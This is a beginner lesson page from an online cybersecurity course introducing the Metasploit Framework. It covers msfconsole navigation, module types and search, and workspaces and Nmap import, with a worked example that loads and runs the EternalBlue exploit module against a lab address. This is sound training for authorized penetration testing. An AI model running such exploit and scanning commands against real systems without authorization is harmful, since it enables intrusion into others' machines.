Metasploit Architecture and msfconsole
Navigate msfconsole, understand exploit/payload/module structure, and configure options.
Metasploit Architecture and msfconsole is a free Cyber Security Academy lesson on CoddyKit — lesson 1 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What is Metasploit?
Metasploit Framework is an open-source penetration testing platform that provides a unified interface for developing, testing, and executing exploits. It is the industry standard tool for authorized exploitation in lab environments.
Metasploit Components
Key components: msfconsole (interactive CLI), msfvenom (payload generator), Metasploit DB (PostgreSQL for storing hosts/sessions), and Armitage (GUI front-end).
Starting msfconsole
Launch msfconsole and initialize the database. The prompt changes to msf6 >. Tab completion works on all commands, module names, and options.
# Start msfconsole
msfconsole
# Initialize database (if needed)
msfdb init
msfdb start
# Check DB connection
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql.Module Types
Metasploit organizes capabilities into module types: exploit (vulnerability-specific attack code), payload (code that runs after exploitation), auxiliary (scanners/fuzzers), post (post-exploitation), encoder, and nop.
msf6 > show exploits # list exploit modules
msf6 > show auxiliary # list auxiliary modules
msf6 > show payloads # list payloads
msf6 > show post # post-exploitation modulesSearching for Modules
The search command filters modules by name, CVE, platform, or rank. Module rank indicates reliability: Excellent > Great > Good > Normal > Average > Low.
msf6 > search type:exploit name:eternalblue
msf6 > search cve:2021-44228
msf6 > search platform:windows smb
msf6 > search rank:excellent ms17Using an Exploit Module
Select a module with use, view required options with show options, set values with set, and run with run or exploit.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > runSetting Global Options
setg sets options globally for all subsequent modules — useful for LHOST, LPORT, and RHOSTS that remain constant throughout an engagement.
msf6 > setg LHOST 192.168.1.10
msf6 > setg LPORT 4444
# Unset global
msf6 > unsetg LHOSTAuxiliary Modules
Auxiliary modules perform scanning, enumeration, and fuzzing without delivering payloads. Examples: SMB version scanner, SSH login brute force, HTTP directory scanner.
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > set THREADS 10
msf6 auxiliary(smb_version) > runWorkspace Management
Workspaces organize scan data and sessions per engagement. Create a new workspace at the start of each assessment to keep data separate.
msf6 > workspace # list workspaces
msf6 > workspace -a lab_test # create
msf6 > workspace lab_test # switch
msf6 > hosts # show discovered hosts
msf6 > services # show discovered servicesNmap Integration
Import Nmap XML scan results directly into Metasploit's database to populate the hosts and services tables, enabling targeted module selection.
msf6 > db_nmap -sV 192.168.1.0/24
# Or import existing XML:
msf6 > db_import /path/to/scan.xml
msf6 > hosts
msf6 > services -p 445Help and Documentation
Every module has built-in documentation. Use info to read module description, reliability rating, references (CVEs, advisories), and required options.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > info
# Shows: description, CVE references,
# platform, architecture, reliability rankQuick Check
Which command selects a module in msfconsole?
Summary: Metasploit Architecture
msfconsole is the central hub: search for modules, set options, run exploits, and manage sessions. Always work within a named workspace, import Nmap results to populate the database, and read module info before running anything — understand what you are executing and why.
Frequently asked questions
Is the “Metasploit Architecture and msfconsole” lesson free?
Yes — the full text of “Metasploit Architecture and msfconsole” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Metasploit Architecture and msfconsole”?
Navigate msfconsole, understand exploit/payload/module structure, and configure options. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 1 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Metasploit Architecture and msfconsole” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Metasploit Architecture and msfconsole
- Exploiting a Known Vulnerability
- Payloads: Staged vs Stageless, Meterpreter
- Post-Exploitation: Pivot and Persist